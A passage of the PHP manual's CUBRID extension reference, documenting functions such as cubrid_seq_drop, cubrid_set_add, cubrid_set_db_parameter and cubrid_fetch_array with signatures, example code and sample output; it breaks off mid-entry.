--- Foreign Keys ---
array(2) {
  [0]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(7) "athlete"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(20) "fk_game_athlete_code"
    ["PK_NAME"]=>
    string(15) "pk_athlete_code"
  }
  [1]=>
  array(9) {
    ["PKTABLE_NAME"]=>
    string(5) "event"
    ["PKCOLUMN_NAME"]=>
    string(4) "code"
    ["FKTABLE_NAME"]=>
    string(4) "game"
    ["FKCOLUMN_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["UPDATE_RULE"]=>
    string(1) "1"
    ["DELETE_RULE"]=>
    string(1) "1"
    ["FK_NAME"]=>
    string(18) "fk_game_event_code"
    ["PK_NAME"]=>
    string(13) "pk_event_code"
  }
}

--- Column Attribute ---
array(1) {
  [0]=>
  array(13) {
    ["ATTR_NAME"]=>
    string(4) "area"
    ["DOMAIN"]=>
    string(1) "7"
    ["SCALE"]=>
    string(1) "2"
    ["PRECISION"]=>
    string(2) "10"
    ["INDEXED"]=>
    string(1) "0"
    ["NON_NULL"]=>
    string(1) "0"
    ["SHARED"]=>
    string(1) "0"
    ["UNIQUE"]=>
    string(1) "0"
    ["DEFAULT"]=>
    NULL
    ["ATTR_ORDER"]=>
    string(1) "4"
    ["CLASS_NAME"]=>
    string(7) "stadium"
    ["SOURCE_CLASS"]=>
    string(7) "stadium"
    ["IS_KEY"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Delete an element from sequence type column using OID

  • « cubrid_schema
  • cubrid_seq_insert »
  • PHP Manual
  • CUBRID Functions
  • Delete an element from sequence type column using OID

cubrid_seq_drop

(PECL CUBRID >= 8.3.0)

cubrid_seq_drop — Delete an element from sequence type column using OID

Description

bool cubrid_seq_drop ( resource $conn_identifier , string $oid , string $attr_name , int $index )

The cubrid_seq_drop() function is used to delete an element you request from the given sequence type attribute in the database.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute that you want to delete an element from.

index

Index of the element that you want to delete (1-based).

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_seq_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_drop($conn, $oid, "c", 4);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(3) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
}

See Also

  • cubrid_seq_insert() - Insert an element to a sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Insert an element to a sequence type column using OID

  • « cubrid_seq_drop
  • cubrid_seq_put »
  • PHP Manual
  • CUBRID Functions
  • Insert an element to a sequence type column using OID

cubrid_seq_insert

(PECL CUBRID >= 8.3.0)

cubrid_seq_insert — Insert an element to a sequence type column using OID

Description

bool cubrid_seq_insert ( resource $conn_identifier , string $oid , string $attr_name , int $index , string $seq_element )

The cubrid_col_insert() function is used to insert an element to a sequence type attribute in a requested location.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to insert an instance to.

index

Location of the element, you want to insert the element to (1-based).

seq_element

Content of the element that you want to insert.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_seq_insert() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_insert($conn, $oid, "c", 5, "44");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(5) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
  [4]=>
  string(2) "44"
}

See Also

  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Update the element value of sequence type column using OID

  • « cubrid_seq_insert
  • cubrid_set_add »
  • PHP Manual
  • CUBRID Functions
  • Update the element value of sequence type column using OID

cubrid_seq_put

(PECL CUBRID >= 8.3.0)

cubrid_seq_put — Update the element value of sequence type column using OID

Description

bool cubrid_seq_put ( resource $conn_identifier , string $oid , string $attr_name , int $index , string $seq_element )

The cubrid_seq_put() function is used to update the content of the requested element in a sequent type attribute using OID.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute that you want to update an element.

index

Index (1-based) of the element that you want to update.

seq_element

New content that you want to use for the update.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_seq_put() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c sequence(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_seq_put($conn, $oid, "c", 1, "111");

$attr = cubrid_col_get($conn, $oid, "c");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  [0]=>
  string(2) "11"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}
array(4) {
  [0]=>
  string(3) "111"
  [1]=>
  string(2) "22"
  [2]=>
  string(2) "33"
  [3]=>
  string(3) "333"
}

See Also

  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_insert() - Insert an element to a sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Insert a single element to set type column using OID

  • « cubrid_seq_put
  • cubrid_set_autocommit »
  • PHP Manual
  • CUBRID Functions
  • Insert a single element to set type column using OID

cubrid_set_add

(PECL CUBRID >= 8.3.0)

cubrid_set_add — Insert a single element to set type column using OID

Description

bool cubrid_set_add ( resource $conn_identifier , string $oid , string $attr_name , string $set_element )

The cubrid_set_add() function is used to insert a single element to a set type attribute (set, multiset, sequence) you requested.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to insert an element.

set_element

Content of the element you want to insert.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_set_add() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_add($conn, $oid, "b", "4");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(4) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
  [3]=>
  string(1) "4"
}

See Also

  • cubrid_seq_drop() - Delete an element from sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Set autocommit mode of the connection

  • « cubrid_set_add
  • cubrid_set_db_parameter »
  • PHP Manual
  • CUBRID Functions
  • Set autocommit mode of the connection

cubrid_set_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_set_autocommit — Set autocommit mode of the connection

Description

bool cubrid_set_autocommit ( resource $conn_identifier , bool $mode )

The cubrid_set_autocommit() function is used to set the CUBRID database auto-commit mode of the current database connection.

In CUBRID PHP, auto-commit mode is disabled by default for transaction management. When auto-commit mode is truned from off to on, any pending work is automatically committed.

Parameters

conn_identifier

Connection identifier.

mode

Auto-commit mode. The following constants can be used:

  • CUBRID_AUTOCOMMIT_FALSE
  • CUBRID_AUTOCOMMIT_TRUE

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

See Also

  • cubrid_get_autocommit() - Get auto-commit mode of the connection
  • cubrid_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.


Sets the CUBRID database parameters

  • « cubrid_set_autocommit
  • cubrid_set_drop »
  • PHP Manual
  • CUBRID Functions
  • Sets the CUBRID database parameters

cubrid_set_db_parameter

(PECL CUBRID >= 8.4.0)

cubrid_set_db_parameter — Sets the CUBRID database parameters

Description

bool cubrid_set_db_parameter ( resource $conn_identifier , int $param_type , int $param_value )

The cubrid_set_db_parameter() function is used to set the CUBRID database parameters. It can set the following CUBRID database parameters:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT

Note:

The auto-commit mode can be set by using cubrid_set_autocommit().

Parameters

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

param_type

Database parameter type.

param_value

Isolation level value (1-6) or lock timeout (in seconds) value.

Return Values

TRUE on success.

FALSE on failure.

Examples

Example #1 cubrid_get_db_parameter() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$params = cubrid_get_db_parameter($conn);
var_dump($params);

cubrid_set_autocommit($conn, CUBRID_AUTOCOMMIT_TRUE);
cubrid_set_db_parameter($conn, CUBRID_PARAM_ISOLATION_LEVEL, 2);

$params_new = cubrid_get_db_parameter($conn);
var_dump($params_new);

cubrid_disconnect($conn);
?>

The above example will output:

array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(3)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(0)
}
array(4) {
  ["PARAM_ISOLATION_LEVEL"]=>
  int(2)
  ["PARAM_LOCK_TIMEOUT"]=>
  int(-1)
  ["PARAM_MAX_STRING_LENGTH"]=>
  int(1073741823)
  ["PARAM_AUTO_COMMIT"]=>
  int(1)
}

See Also

  • cubrid_get_db_parameter() - Returns the CUBRID database parameters
  • cubrid_set_autocommit() - Set autocommit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Delete an element from set type column using OID

  • « cubrid_set_db_parameter
  • cubrid_set_query_timeout »
  • PHP Manual
  • CUBRID Functions
  • Delete an element from set type column using OID

cubrid_set_drop

(PECL CUBRID >= 8.3.0)

cubrid_set_drop — Delete an element from set type column using OID

Description

bool cubrid_set_drop ( resource $conn_identifier , string $oid , string $attr_name , string $set_element )

The cubrid_set_drop() function is used to delete an element that you request from the given set type (set, multiset) attribute of the database.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance you want to work with.

attr_name

Name of the attribute you want to delete an element from.

set_element

Content of the element you want to delete.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_set_drop() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_set_drop($conn, $oid, "b", "1");

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "3"
}

See Also

  • cubrid_set_add() - Insert a single element to set type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Set the timeout time of query execution

  • « cubrid_set_drop
  • cubrid_version »
  • PHP Manual
  • CUBRID Functions
  • Set the timeout time of query execution

cubrid_set_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_set_query_timeout — Set the timeout time of query execution

Description

bool cubrid_set_query_timeout ( resource $req_identifier , int $timeout )

The cubrid_set_query_timeout() function is used to set the timeout time of query execution.

Parameters

req_identifier

Request identifier.

timeout

Timeout time, unit of msec.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

See Also

  • cubrid_get_query_timeout() - Get the query timeout value of the request

User Contributed Notes

There are no user contributed notes for this page.


Get the CUBRID PHP module's version

  • « cubrid_set_query_timeout
  • CUBRID MySQL Compatibility Functions »
  • PHP Manual
  • CUBRID Functions
  • Get the CUBRID PHP module's version

cubrid_version

(PECL CUBRID >= 8.3.0)

cubrid_version — Get the CUBRID PHP module's version

Description

string cubrid_version ( void )

The cubrid_version() function is used to get the CUBRID PHP module's version.

Parameters

This function has no parameters.

Return Values

Version information (eg. "8.3.1.0001").

Examples

Example #1 cubrid_version() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb", "dba");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

The above example will output:

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

See Also

  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_code_facility() - Get the facility code of error

User Contributed Notes

There are no user contributed notes for this page.


CUBRID MySQL Compatibility Functions

Table of Contents

  • cubrid_affected_rows — Return the number of rows affected by the last SQL statement
  • cubrid_client_encoding — Return the current CUBRID connection charset
  • cubrid_close — Close CUBRID connection
  • cubrid_data_seek — Move the internal row pointer of the CUBRID result
  • cubrid_db_name — Get db name from results of cubrid_list_dbs
  • cubrid_errno — Return the numerical value of the error message from previous CUBRID operation
  • cubrid_error — Get the error message
  • cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row
  • cubrid_fetch_field — Get column information from a result and return as an object
  • cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row
  • cubrid_fetch_object — Fetche the next row and returns it as an object
  • cubrid_fetch_row — Return a numerical array with the values of the current row
  • cubrid_field_flags — Return a string with the flags of the given field offset
  • cubrid_field_len — Get the maximum length of the specified field
  • cubrid_field_name — Return the name of the specified field index
  • cubrid_field_seek — Move the result set cursor to the specified field offset
  • cubrid_field_table — Return the name of the table of the specified field
  • cubrid_field_type — Return the type of the column corresponding to the given field offset
  • cubrid_list_dbs — Return an array with the list of all existing CUBRID databases
  • cubrid_num_fields — Return the number of columns in the result set
  • cubrid_ping — Ping a server connection or reconnect if there is no connection
  • cubrid_query — Send a CUBRID query
  • cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement
  • cubrid_result — Return the value of a specific field in a specific row
  • cubrid_unbuffered_query — Perform a query without fetching the results into memory

User Contributed Notes

There are no user contributed notes for this page.


Return the number of rows affected by the last SQL statement

  • « CUBRID MySQL Compatibility Functions
  • cubrid_client_encoding »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the number of rows affected by the last SQL statement

cubrid_affected_rows

(PECL CUBRID >= 8.3.0)

cubrid_affected_rows — Return the number of rows affected by the last SQL statement

Description

int cubrid_affected_rows ([ resource $conn_identifier ] )
int cubrid_affected_rows ([ resource $req_identifier ] )

The cubrid_affected_rows() function is used to get the number of rows affected by the SQL statement (INSERT, DELETE, UPDATE).

Parameters

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opend by cubrid_connect() is assumed.

req_identifier

Request Identifier, could be returned from either cubrid_prepare() or cubrid_execute(). If the request identifier is not specified, the last identifier requested by cubrid_prepare() or cubrid_execute() is assumed.

Return Values

Number of rows affected by the SQL statement, when process is successful.

-1, when SQL statement is not INSERT, DELETE or UPDATE.

FALSE, when the request identifier is not specified, and there is no last request.

Examples

Example #1 cubrid_affected_rows() example

<?php
$conn = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
cubrid_execute($conn, "DROP TABLE IF EXISTS cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d varchar)");
$sql_stmt = "INSERT INTO cubrid_test(d) VALUES('php-test')";
$req = cubrid_prepare($conn, $sql_stmt);

for ($i = 0; $i < 10; $i++) {
    cubrid_execute($req);
}
cubrid_commit($conn);

$req = cubrid_execute($conn, "DELETE FROM cubrid_test WHERE d='php-test'", CUBRID_ASYNC);
var_dump(cubrid_affected_rows());
var_dump(cubrid_affected_rows($conn));
var_dump(cubrid_affected_rows($req));

cubrid_disconnect($conn);

print "done!";
?>

The above example will output:

Rows deleted: 5

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Return the current CUBRID connection charset

  • « cubrid_affected_rows
  • cubrid_close »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the current CUBRID connection charset

cubrid_client_encoding

(PECL CUBRID >= 8.3.1)

cubrid_client_encoding — Return the current CUBRID connection charset

Description

string cubrid_client_encoding ([ resource $conn_identifier ] )

This function returns the current CUBRID connection charset and is similar to the CUBRID function cubrid_get_charset().

Parameters

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

Return Values

A string that represents the CUBRID connection charset; on success.

FALSE on failure.

Examples

Example #1 cubrid_client_encoding() example

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
    die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_client_encoding($con));

?>

The above example will output:

CUBRID current charset: iso8859-1

See Also

  • cubrid_get_charset() - Return the current CUBRID connection charset

User Contributed Notes

There are no user contributed notes for this page.


Close CUBRID connection

  • « cubrid_client_encoding
  • cubrid_data_seek »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Close CUBRID connection

cubrid_close

(PECL CUBRID >= 8.3.1)

cubrid_close — Close CUBRID connection

Description

bool cubrid_close ([ resource $conn_identifier ] )

The cubrid_close() function ends the transaction currently in process, closes the connection handle and disconnects from server. If there is any request handles not closed yet at this point, they will be closed. It is similar to the CUBRID function cubrid_disconnect().

Parameters

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_close() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute ( $con, "insert into person values(1,'James')");
   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_close ($con);
}
?>

See Also

  • cubrid_disconnect() - Close a database connection
  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server

User Contributed Notes

There are no user contributed notes for this page.


Move the internal row pointer of the CUBRID result

  • « cubrid_close
  • cubrid_db_name »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Move the internal row pointer of the CUBRID result

cubrid_data_seek

(PECL CUBRID >= 8.3.0)

cubrid_data_seek — Move the internal row pointer of the CUBRID result

Description

bool cubrid_data_seek ( resource $result , int $row_number )

This function performs the moving of the internal row pointer of the CUBRID result (associated with the specified result identifier) to point to a specific row number. There are functions, such as cubrid_fetch_assoc(), which use the current stored value of row number.

Parameters

result

The result.

row_number

This is the desired row number of the new result pointer.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 cubrid_data_seek() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_data_seek($req, 0);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 2);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_data_seek($req, 4);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}
array(2) {
  [0]=>
  string(1) "S"
  [1]=>
  string(6) "Silver"
}

User Contributed Notes

There are no user contributed notes for this page.


Get db name from results of cubrid_list_dbs

  • « cubrid_data_seek
  • cubrid_errno »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Get db name from results of cubrid_list_dbs

cubrid_db_name

(PECL CUBRID >= 8.3.1)

cubrid_db_name — Get db name from results of cubrid_list_dbs

Description

string cubrid_db_name ( array $result , int $index )

Retrieve the database name from a call to cubrid_list_dbs().

Parameters

result

The result pointer from a call to cubrid_list_dbs().

index

The index into the result set.

Return Values

Returns the database name on success, and FALSE on failure. If FALSE is returned, use cubrid_error() to determine the nature of the error.

Examples

Example #1 cubrid_db_name() example

<?php
error_reporting(E_ALL);

$conn = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$db_list = cubrid_list_dbs($conn);

$i = 0;
$cnt = count($db_list);
while ($i < $cnt) {
    echo cubrid_db_name($db_list, $i) . "\n";
    $i++;
}
?>

The above example will output:

demodb

See Also

  • cubrid_list_dbs() - Return an array with the list of all existing CUBRID databases

User Contributed Notes

There are no user contributed notes for this page.


Return the numerical value of the error message from previous CUBRID operation

  • « cubrid_db_name
  • cubrid_error »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the numerical value of the error message from previous CUBRID operation

cubrid_errno

(PECL CUBRID >= 8.3.1)

cubrid_errno — Return the numerical value of the error message from previous CUBRID operation

Description

int cubrid_errno ([ resource $conn_identifier ] )

Returns the error number from the last CUBRID function.

The cubrid_errno() function is used to get the error code of the error that occurred during the API execution. Usually, it gets the error code when API returns false as its return value.

Parameters

conn_identifier

The CUBRID connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

Return Values

Returns the error number from the last CUBRID function, or 0 (zero) if no error occurred.

Examples

Example #1 cubrid_errno() example

<?php
$con = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
    while (list ($id, $name) = cubrid_fetch($req))
    echo $id, $name;
} else {
    echo "Error Code: ", cubrid_errno($con);
    echo "Error Message: ", cubrid_error($con);
}
?>

The above example will output:

Error Code: -493 Error Message: Syntax: Unknown class "person". select id, [name] from person

See Also

  • cubrid_error() - Get the error message
  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Get the error message

  • « cubrid_errno
  • cubrid_fetch_array »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Get the error message

cubrid_error

(PECL CUBRID >= 8.3.1)

cubrid_error — Get the error message

Description

string cubrid_error ([ resource $connection ] )

The cubrid_error() function is used to get the error message that occurred during the use of CUBRID API. Usually, it gets error message when API returns false as its return value.

Parameters

connection

The CUBRID connection.

Return Values

Error message that occurred.

Examples

Example #1 cubrid_error() example

<?php
$con = cubrid_connect('localhost', 33000, 'demodb', 'dba', '');
$req = cubrid_execute($con, "select id, name from person");
if ($req) {
    while (list ($id, $name) = cubrid_fetch($req))
    echo $id, $name;
} else {
    echo "Error Code: ", cubrid_errno($con);
    echo "Error Message: ", cubrid_error($con);
}
?>

The above example will output:

Error Code: -493 Error Message: Syntax: Unknown class "person". select id, [name] from person

See Also

  • cubrid_errno() - Return the numerical value of the error message from previous CUBRID operation
  • cubrid_error_code() - Get error code for the most recent function call
  • cubrid_error_msg() - Get last error message for the most recent function call

User Contributed Notes

There are no user contributed notes for this page.


Fetch a result row as an associative array, a numeric array, or both

  • « cubrid_error
  • cubrid_fetch_assoc »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Fetch a result row as an associative array, a numeric array, or both

cubrid_fetch_array

(PECL CUBRID >=8.3.0)

cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both

Description

array cubrid_fetch_array ( resource $result [, int $type = CUBRID_BOTH ] )

The cubrid_fetch_array() function is used to get a single row from the query result and returns an array. The cursor automatically moves to the next row after getting the result.

Parameters

result

Result comes from a call to cubrid_execute()

type

Array type of the fetched result CUBRID_NUM, CUBRID_ASSOC, CUBRID_BOTH. If you need to operate the lob object, you can use CUBRID_LOB.

Return Values

Returns an array of strings that corresponds to the fetched row, when process is successful.

FALSE, when there are no more rows; NULL, when process is unsuccessful.

The type of returned array depends on how type is defined. By using CUBRID_BOTH (default), you'll get an array with both associative and number indices, and you can decide which data type to use by setting the type argument. The type variable can be set to one of the following values:

  • CUBRID_NUM : Numerical array (0-based)
  • CUBRID_ASSOC : Associative array
  • CUBRID_BOTH : Numerical & Associative array (default)

Examples

Example #1 cubrid_fetch_array() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_execute($conn, "SELECT name,area,seats,address FROM stadium WHERE nation_code='GRE' AND seats > 10000");

printf("%-40s %-10s %-6s %-20s\n", "name", "area", "seats", "address");
while ($row = cubrid_fetch_array($req, CUBRID_NUM)) {
    printf("%-40s %-10s %-6s %-20s\n", $row[0], $row[1], $row[2], $row[3]);
}

// if you want to operate LOB object, you can use cubrid_fetch_array($req, CUBRID_NUM | CUBRID_LOB)

cubrid_close_request($req);

cubrid_disconnect($conn);
?>

The above example will output:

name                                     area       seats  address
Panathinaiko Stadium                     86300.00   50000  Athens, Greece
Olympic Stadium                          54700.00   13000  Athens, Greece
Olympic Indoor Hall                      34100.00   18800  Athens, Greece
Olympic Hall                             52400.00   21000  Athens, Greece
Olympic Aquatic Centre                   42500.00   11500  Athens, Greece
Markopoulo Olympic Equestrian Centre     64000.00   15000  Markopoulo, Athens, Greece
Faliro Coastal Zone Olympic Complex      34650.00   12171  Faliro, Athens, Greece
Athens Olympic Stadium                   120400.00  71030  Maroussi, Athens, Greece
Ano Liossia                              34000.00   12000  Ano Liosia, Athens, Greece

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_fetch() - Fetch the next row from a result set
  • cubrid_fetch_row() - Return a numerical array with the values of the current row
  • cubrid_fetch_assoc() - Return the associative array that corresponds to the fetched row
  • cubrid_fetch_object() - Fetche the next row and returns it as an object

User Contributed Notes

There are no user contributed notes for this page.


Return the associative array that corresponds to the fetched row

  • « cubrid_fetch_array
  • cubrid_fetch_field »
  • PHP Manual
  • CUBRID MySQL Compatibility Functions
  • Return the associative array that corresponds to the fetched row

cubrid_fetch_assoc

(PECL CUBRID >= 8.3.0)

cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row

Description

array cubrid_fetch_assoc ( resource $result [, int $type ] )

This function returns the associative array, that corresponds to the fetched row, and then moves the internal data pointer ahead, or returns FALSE when the end is reached.

Parameters

result

result comes from a call to cubrid_execute()

type

